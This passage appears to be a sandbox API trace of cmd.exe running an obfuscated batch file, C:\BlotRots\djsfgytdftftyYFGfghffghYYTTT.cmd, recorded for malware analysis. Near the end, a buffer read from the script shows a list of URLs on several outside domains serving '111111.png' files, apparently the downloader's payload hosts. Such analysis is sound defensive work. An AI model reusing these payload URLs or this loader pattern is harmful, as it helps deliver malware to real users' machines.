0xffffffffffffffff [0229.817] GetLastError () returned 0x2 [0229.817] ??_V@YAXPEAX@Z () returned 0x1 [0229.817] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0229.840] malloc (_Size=0xffce) returned 0x20b0fa70920 [0229.840] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0229.840] malloc (_Size=0xffce) returned 0x20b0fa80900 [0229.840] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0229.840] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0229.840] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0229.840] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0229.841] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0229.841] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0229.841] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0229.841] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0229.841] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0229.841] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0229.841] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0229.841] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0229.841] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0229.841] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0229.841] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0229.841] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0229.841] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0229.841] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0229.841] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0229.841] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0229.841] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0229.841] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0229.841] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0229.841] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0229.841] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0229.841] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0229.841] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0229.841] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0229.841] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0229.841] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0229.841] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0229.841] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0229.841] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0229.841] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0229.841] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0229.841] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0229.841] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0229.842] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0229.842] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0229.842] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0229.842] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0229.842] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0229.842] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0229.842] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0229.842] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0229.842] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0229.842] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0229.842] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0229.842] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0229.842] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0229.842] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0229.842] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0229.842] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0229.842] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0229.842] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0229.842] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0229.842] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0229.842] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0229.842] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0229.842] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0229.842] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0229.842] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0229.842] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0229.842] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0229.842] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0229.842] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0229.842] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0229.842] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0229.842] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0229.843] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0229.843] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0229.843] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0229.843] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0229.843] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0229.843] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0229.843] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0229.843] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0229.843] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0229.843] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0229.843] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0229.843] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0229.843] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0229.843] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0229.843] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0229.843] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0229.843] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0229.843] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0229.843] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0229.843] ??_V@YAXPEAX@Z () returned 0x1 [0229.844] GetProcessHeap () returned 0x20b0f920000 [0229.844] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0229.844] GetProcessHeap () returned 0x20b0f920000 [0229.844] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f957da0 [0229.844] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0229.844] malloc (_Size=0xffce) returned 0x20b0fa80900 [0229.844] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0229.844] GetProcessHeap () returned 0x20b0f920000 [0229.844] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0229.846] SetErrorMode (uMode=0x0) returned 0x0 [0229.846] SetErrorMode (uMode=0x1) returned 0x0 [0229.846] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0229.846] SetErrorMode (uMode=0x0) returned 0x1 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0229.846] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0229.846] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d600 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0229.846] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946ec0 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.846] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946ec0, Size=0x7e) returned 0x20b0f956d00 [0229.846] GetProcessHeap () returned 0x20b0f920000 [0229.847] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d00) returned 0x7e [0229.847] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.847] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cdf0 [0229.847] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0229.847] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.847] GetLastError () returned 0x2 [0229.847] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.848] GetLastError () returned 0x2 [0229.848] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.849] GetLastError () returned 0x2 [0229.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.849] GetLastError () returned 0x2 [0229.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.849] GetLastError () returned 0x2 [0229.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.849] GetLastError () returned 0x2 [0229.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.849] GetLastError () returned 0x2 [0229.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.850] GetLastError () returned 0x2 [0229.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.850] GetLastError () returned 0x2 [0229.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.850] GetLastError () returned 0x2 [0229.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.850] GetLastError () returned 0x2 [0229.850] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.850] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.850] GetLastError () returned 0x2 [0229.850] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.851] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0229.851] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0229.851] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.851] GetLastError () returned 0x2 [0229.851] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.851] GetLastError () returned 0x2 [0229.851] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.851] GetLastError () returned 0x2 [0229.851] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.852] GetLastError () returned 0x2 [0229.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.852] GetLastError () returned 0x2 [0229.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.852] GetLastError () returned 0x2 [0229.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.852] GetLastError () returned 0x2 [0229.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.852] GetLastError () returned 0x2 [0229.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.853] GetLastError () returned 0x2 [0229.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.853] GetLastError () returned 0x2 [0229.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.853] GetLastError () returned 0x2 [0229.853] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.853] GetLastError () returned 0x2 [0229.853] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.854] GetLastError () returned 0x2 [0229.854] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.854] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.854] GetLastError () returned 0x2 [0229.854] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.854] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0229.854] GetLastError () returned 0x2 [0229.854] ??_V@YAXPEAX@Z () returned 0x1 [0229.855] _get_osfhandle (_FileHandle=2) returned 0x54 [0229.855] GetFileType (hFile=0x54) returned 0x2 [0229.855] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0229.855] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.256] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.256] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.367] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.368] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0231.368] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0231.391] ??_V@YAXPEAX@Z () returned 0x1 [0231.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.393] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.393] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.394] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.394] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.394] SetConsoleInputExeNameW () returned 0x1 [0231.394] GetConsoleOutputCP () returned 0x1b5 [0231.395] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.395] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.395] ??_V@YAXPEAX@Z () returned 0x1 [0231.397] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.397] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.397] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.397] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3618, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe22 [0231.397] GetProcessHeap () returned 0x20b0f920000 [0231.397] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d00) returned 1 [0231.397] GetProcessHeap () returned 0x20b0f920000 [0231.397] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.397] GetProcessHeap () returned 0x20b0f920000 [0231.397] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0231.397] GetProcessHeap () returned 0x20b0f920000 [0231.397] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0231.399] GetProcessHeap () returned 0x20b0f920000 [0231.399] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957da0) returned 1 [0231.399] GetProcessHeap () returned 0x20b0f920000 [0231.399] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0231.399] GetProcessHeap () returned 0x20b0f920000 [0231.399] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956ac0) returned 1 [0231.399] GetProcessHeap () returned 0x20b0f920000 [0231.399] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.399] GetProcessHeap () returned 0x20b0f920000 [0231.399] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0231.400] GetProcessHeap () returned 0x20b0f920000 [0231.400] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.401] GetProcessHeap () returned 0x20b0f920000 [0231.401] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0231.401] GetProcessHeap () returned 0x20b0f920000 [0231.401] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0231.401] GetProcessHeap () returned 0x20b0f920000 [0231.401] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.401] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.401] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe22 [0231.401] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x993, lpOverlapped=0x0) returned 1 [0231.401] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3627, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2b [0231.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0231.401] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.401] GetFileType (hFile=0x9c) returned 0x1 [0231.401] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.402] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2b [0231.402] GetProcessHeap () returned 0x20b0f920000 [0231.402] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0231.402] GetProcessHeap () returned 0x20b0f920000 [0231.402] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0231.402] _tell (_FileHandle=3) returned 3627 [0231.402] _close (_FileHandle=3) returned 0 [0231.403] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.403] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.403] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.403] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3627, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2b [0231.403] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.403] SetFilePointer (in: 